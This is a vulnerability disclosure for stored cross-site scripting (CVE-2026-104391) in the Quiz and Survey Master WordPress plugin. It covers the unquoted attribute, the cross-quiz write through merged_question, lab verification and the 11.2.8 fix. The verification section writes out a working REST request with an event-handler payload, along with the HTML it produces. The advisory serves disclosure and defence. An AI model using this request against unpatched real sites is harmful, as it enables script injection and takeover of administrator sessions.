CVE-2026-104391 The link that carried a setting into another author's quiz in Quiz and Survey Master

Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in Quiz and Survey Master, affecting all versions up to and including 11.2.7. A per-question setting is printed into an HTML attribute that carries no quotes, and the route that writes it checks ownership of one quiz while writing to questions in another. Fixed in 11.2.8.

Discovered by
Intrudify autonomous engine
Validated & reported by
Disclosure
7 October 2026
Severity
Medium · CVSS 6.5
Vulnerability class
Stored cross-site scripting, CWE-79
Affected
Quiz and Survey Master ≤ 11.2.7
Fixed in
11.2.8
Active installs
40,000+
Attacker privilege
Contributor, after one visit to wp-admin
Victim
Every visitor to the administrator's published quiz
Execution
One REST request, into a quiz the attacker does not own

Summary

Quiz and Survey Master builds quizzes and surveys on about forty thousand WordPress sites. Each question carries settings, and one of them, Minimum Characters, becomes a minlength attribute on the answer field.

The template builds that attribute by concatenation and prints it without quotes of its own. esc_attr() is applied, which encodes the five characters that matter inside a quoted value and leaves the space and the equals sign alone, because inside a quoted value neither one ends anything. Outside quotes a space ends the attribute, so the stored value can add attributes of its own.

On its own that is a setting a quiz author can use to attack their own quiz, which is not much. The second defect is what makes it worth reporting. The REST route that saves a question checks that the caller may edit the quiz named in the request, then writes to the question named in the URL and to every question listed in merged_question, preserving each of those rows' own quiz. A Contributor passes the check with a quiz of their own and writes into an administrator's.

The payload then runs for every visitor who opens the administrator's published quiz, with no account on their side.

Technical detail

The attribute with no quotes

// renderer/templates/questions/short-answer.php, QSM 11.2.7

$min_text_length = isset( $question_settings['min_text_length'] )
    ? $question_settings['min_text_length'] : '';       // line 25

$min_text_attr = $min_text_length
    ? "minlength=" . $min_text_length . "" : '';       // line 28

...

<input type="text" class="mlw_answer_open_text ..."
    name="<?php echo esc_attr( $id ); ?>"
    <?php echo esc_attr( $min_text_attr ); ?>                   // line 37
    Placeholder="<?php echo esc_attr( $placeholder_text ); ?>" />

// esc_attr() encodes &, <, >, " and '. it does not encode the space
// or the equals sign, because inside a quoted attribute neither one
// means anything. this attribute has no quotes around it.

animate.css is enqueued on every quiz page, so the fadeIn keyframes already exist and an animation-name is enough to fire onanimationstart. The same pattern is in the number and paragraph templates and in the three matching question-type classes, six places in all.

The settings the save route does not inspect

// php/rest-api.php, QSM 11.2.7

function qsm_rest_save_question( WP_REST_Request $request ) {   // line 831

    if ( ! qsm_current_user_can_edit_quiz( $request['quizID'] ) ) {   // line 835
        return array( 'status' => 'error', 'msg' => 'Unauthorized!' );
    }
    ...
    $data = array(
        'quiz_id'         => $request['quizID'],
        ...
        'linked_question' => $request['merged_question'],       // line 855
    );

    $settings['question_title']  = sanitize_text_field( ... );    // line 859
    $settings['featureImageID']  = sanitize_text_field( ... );
    $settings['isPublished']     = sanitize_text_field( ... );    // line 863

    if ( isset( $request['other_settings'] ) && is_array( ... ) ) {  // line 864
        foreach ( $request['other_settings'] as $key => $value ) {
            $settings[ $key ] = $value;                     // line 866
        }
    }

// every field the author listed by name is sanitised. the ones they
// did not list are copied through as they arrived.

Line 859 to 863 is the author being careful: every setting they listed by name goes through sanitize_text_field(). Line 864 is the catch-all for everything else, and it is the one min_text_length arrives through.

The check and the write look at different rows

// php/classes/class-qsm-questions.php, QSM 11.2.7

$linked_question = sanitize_text_field( $data['linked_question'] );   // line 307
$linked_questions_array = array_filter( array_map( 'intval',
    explode( ',', $linked_question ) ) );                      // line 312

...

$quiz_questions_array = array();
$quiz_questions_array[ intval( $data['quiz_id'] ) ] = $question_id;   // line 381
$linked_questions_array[] = $question_id;                        // line 382

if ( isset( $linked_question ) && "" != $linked_question ) {        // line 383
    $quiz_results = $wpdb->get_results(
        "SELECT `quiz_id`, `question_id` FROM `...mlw_questions`"
        . " WHERE `question_id` IN (" . $imploded_question_ids . ")" );   // 388

    foreach ( $quiz_results as $key => $value ) {
        $quiz_questions_array[ $value->quiz_id ] = $value->question_id;   // 390
    }
}

foreach ( $quiz_questions_array as $quiz_id => $question_id_loop ) {  // 396
    $values['quiz_id'] = intval( $quiz_id );                  // line 397
    $wpdb->update( ...mlw_questions, $values,
        array( 'question_id' => intval( $question_id_loop ) ), ... );  // 398
}

// the map is keyed by each row's OWN quiz_id, read back out of the
// database. the check above was asked about the quiz in the request.

The authorisation on line 835 asks one question: may this user edit $request['quizID']. The loop on line 396 answers a different one: which quizzes do the linked questions belong to. Each is correct in isolation. Nothing compares them.

How a Contributor gets quiz-authoring capability

QSM adds edit_qsm_quizzes and create_qsm_quizzes to whichever role the current user holds, the first time that user loads the admin. Measured on a fresh install: before contrib had ever logged in, the contributor role held neither capability; one request to /wp-admin/ and it held both. edit_others_qsm_quizzes stays off, which is the capability the 11.2.8 fix checks.

Verification

WordPress 7.1.3, PHP 8.3, QSM 11.2.7, default settings, default theme, on http://127.0.0.1:8495. Two accounts: admin, and contrib created as an ordinary Contributor. One quiz per author, each created by its own owner.

# every request below is made over HTTP as the principal named

admin principal   : ('admin', ['administrator'])
admin question    : HTTP 200 -> {'status': 'success', 'id': 2}   # in quiz 1

contrib principal : ('contrib', ['contributor'])
contrib question  : HTTP 200 -> {'status': 'success', 'id': 3}   # in quiz 2


# the attack: authorised against quiz 2, aimed at question 2

POST /index.php?rest_route=/quiz-survey-master/v1/questions/3
    quizID=2
    merged_question=2
    other_settings[min_text_length]=1 style=animation-name:fadeIn
        onanimationstart=alert(document.domain)

-> {'status': 'success'}


# read back out of the database, not inferred from the response:

Q2 quiz=1 min_text_length='1 style=animation-name:fadeIn onanimationstart=alert(document.domain)'
Q3 quiz=2 min_text_length='1 style=animation-name:fadeIn onanimationstart=alert(document.domain)'

# question 2 belongs to the Administrator's quiz and kept its own
# quiz_id. only its settings changed.

What an anonymous visitor receives

// anonymous GET of the Administrator's published quiz page

<input  type="text" class="mlw_answer_open_text "
    id="question2" name="question2"
    minlength=1 style=animation-name:fadeIn
    onanimationstart=alert(document.domain)  Placeholder="" />


// as the browser parsed it:
type="text" | class="mlw_answer_open_text " | id="question2"
name="question2" | minlength="1"
style="animation-name:fadeIn" | onanimationstart="alert(document.domain)"
placeholder=""

// dialogs on load: 0
// after clicking the quiz's own start button: 1   message: 127.0.0.1

The quiz shows its start page first, so the handler runs after one click on the quiz's own button, which is the only control on the page. With the quiz option Disable First Page turned on, the first question is rendered immediately and an autofocus onfocus= payload fires on load with nothing clicked.

Three controls

# control 1: the Contributor names the Administrator's quiz directly
POST .../questions/2   quizID=1
-> {'code': 'rest_forbidden', 'data': {'status': 403}}
   # the ownership check works when it is asked the right question


# control 2: the same path, the same route, a benign value
other_settings[min_text_length]=5   merged_question=2
-> <input ... minlength=5  Placeholder="" />
   # one attribute. the extra attributes come from the value.


# control 3: the payload, with merged_question LEFT OUT
Q2 quiz=1 min_text_length='5'                # the Administrator's, untouched
Q3 quiz=2 min_text_length='1 style=animation-name:fadeIn ...'  # their own
   # merged_question is what crosses the boundary, nothing else.


# instrument control, before every browser run
# data:text/html,<script>alert('instrument-control')</script> -> 1 dialog

Control 1 matters most. The ownership check is not missing and it is not broken: pointed at the administrator's quiz it returns 403. Control 3 isolates what gets around it, by sending the identical payload with one parameter removed.

11.2.8

// QSM 11.2.8, same lab

// the payload written while 11.2.7 was installed is still in the row:
<input ... id="question2" name="question2" minlength=1  Placeholder="" />
// dialogs: 0


// the same cross-quiz write, replayed. a marker was seeded first so
// the before and after are distinguishable:

-> {'status': 'success'}
Q2 quiz=1 min_text_length='MARKER-BEFORE'   // the linked id was dropped
Q3 quiz=2 min_text_length=1                // absint() on their own row


// and the feature still works, which is the other pole:
// the Administrator saves min_text_length=7 the ordinary way
<input ... name="question2" minlength=7  Placeholder="" />
// parsed attributes: type, class, id, name, minlength, placeholder
// dialogs after clicking start: 0

The last block is the half that four zeros would otherwise hide. An administrator saving Minimum Characters the ordinary way still gets minlength=7 on the page, so the release sanitises the value without removing the feature.

Impact

The attacker needs a Contributor account and one visit to wp-admin, which is the capability grant described above. Contributor is the lowest WordPress role that can author content and is handed to guest writers, volunteers and course participants.

What they get is a write into a quiz belonging to somebody else, on a site where quizzes are published pages. The payload runs in the site's own origin for every visitor who opens that quiz, with no account on their side, and for the administrator the next time they view their own quiz on the front end. In an administrator's session the cookie and the REST nonce printed on the page are enough to create a second administrator account or install a plugin, which is PHP of the attacker's choosing on the server.

The write is not limited to the setting used to demonstrate it. The loop on line 866 copies every key of other_settings into the question's settings array, so the same request reaches any setting a question has.

The same fan-out had a second consequence the vendor names in the 11.2.8 code: linking a question let a user delete questions in another author's quiz as well as overwrite them. That path is closed by the same fix.

Quiz and Survey Master reports more than 40,000 installations.

Remediation

Update Quiz and Survey Master to 11.2.8 or later.

// QSM 11.2.8

// the output side, in each of the six templates that built the attribute
- $min_text_attr = $min_text_length ? "minlength=" . $min_text_length . "" : '';
+ $min_text_length = absint( $min_text_length );
+ $min_text_attr   = $min_text_length ? "minlength=" . $min_text_length : '';


// the storage side
- $settings[ $setting_key ] = $setting_value;
+ $settings[ $setting_key ] = qsm_sanitize_question_numeric_setting( $setting_key, $setting_value );

function qsm_sanitize_question_numeric_setting( $key, $value ) {
    $numeric_keys = array( 'min_text_length', 'limit_text',
                           'limit_multiple_response' );
    if ( ! in_array( $key, $numeric_keys, true ) ) { return $value; }
    ...
    return absint( $value );
}


// and the authorisation side: the linked ids are filtered to the
// quizzes the caller may actually edit, and the question named in
// the URL is authorised against its own quiz as well as the request's

+ if ( in_array( intval( $request['id'] ),
+     qsm_get_uneditable_question_ids( array( $request['id'] ) ), true ) ) {
+     return array( 'status' => 'error', 'msg' => 'Unauthorized!' );
+ }

+ $data['restrict_linked_to_editable'] = true;

Three changes, at three different layers. The six templates cast the value with absint() before building the attribute. The save route runs the numeric settings through a caster on the way in. And the authorisation now covers the rows that are actually written: the question named in the URL is checked against its own quiz, and the linked ids are filtered down to quizzes the caller can edit, with edit_others_qsm_quizzes as the capability that exempts an administrator.

The filter is an allowlist, so an id the lookup cannot resolve is dropped. A request carrying an unauthorised linked id still returns success and silently writes nothing to that row, which is worth knowing if you are reading logs.

A site attacked before updating does not need its database cleaned to stop the script. That was measured with the 11.2.7 payload still in the question's settings: 11.2.8 renders minlength=1 and nothing else. The stored setting is still wrong, so the affected questions are worth opening and resaving.

The vendor also applied absint() to limit_text and limit_multiple_response in the fill-in-the-blanks and multiple-response templates. Those are the same shape and were not in the report.

The wider lesson

Two defects here are each survivable and neither is unusual. An unquoted attribute is a familiar mistake, and on its own it lets a quiz author attack a quiz they already control. An ownership check aimed at the wrong row is also familiar, and on its own it writes integers into somebody else's question. What turns them into a reportable finding is that one supplies the reach and the other supplies the payload.

So when a write primitive and an output defect appear in the same plugin, the question to ask is whether the first can reach the second across a trust boundary. Reviewing them separately is how both of these survived: each looks like a low-value issue in its own file.

The second thing to take from it is about esc_attr(), which is the right function used in a place that changes what right means. It promises to make a value safe inside a quoted attribute, and it keeps that promise exactly. The template then prints it where there are no quotes. An escaper's guarantee is always conditional on the context it was written for, and the context is decided by the characters around the interpolation, several lines away from the escaper itself.

The cheapest version of that check, worth running over any template: find every echo inside a tag and look at the character immediately before it. If it is a space, the value is being printed at an attribute position, and anything it contains can become an attribute.

Disclosure timeline

  • 2026-09-25 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
  • 2026-10-05 Release 11.2.8 published by ExpressTech Systems
  • 2026-10-07 Public disclosure by Patchstack, CVE-2026-104391 published

Questions

What is CVE-2026-104391?

CVE-2026-104391 is a stored cross-site scripting vulnerability in Quiz and Survey Master, affecting all versions up to and including 11.2.7. The per-question Minimum Characters setting is printed into an HTML attribute with no quotes around it, so a value containing a space adds attributes of its own to the answer field, event handlers among them.

Who can exploit CVE-2026-104391?

A Contributor. QSM grants edit_qsm_quizzes and create_qsm_quizzes to the contributor role the first time such a user loads wp-admin, so the attacker can create a quiz of their own. The save route then authorises against that quiz while writing to any question named in the merged_question parameter, including questions in an administrator's quiz.

esc_attr() is applied to the value. Why does that not help?

Because esc_attr() escapes for a quoted attribute and this attribute has no quotes. It encodes the ampersand, the angle brackets and both quote characters, and it leaves the space and the equals sign alone, since inside a quoted value neither one ends anything. Printed outside quotes, a space ends the attribute and what follows is parsed as the next one.

Does the attacker have to own the quiz they attack?

No, and that is the second half of the finding. Pointed at an administrator's quiz directly the route returns 403, which was confirmed in the lab. The attacker names a quiz they do own and lists the administrator's question in merged_question; the write loop then updates that question while preserving its own quiz id. Removing that one parameter leaves the administrator's question untouched.

How do I fix CVE-2026-104391?

Update Quiz and Survey Master to 11.2.8 or later. That release casts the numeric question settings with absint() both when they are saved and in each of the six templates that build the attribute, and filters the linked question ids down to quizzes the caller may actually edit, so a question in another author's quiz can no longer be written through merged_question.

References

More discovered CVEs from Intrudify

See what a pentest
finds in your app.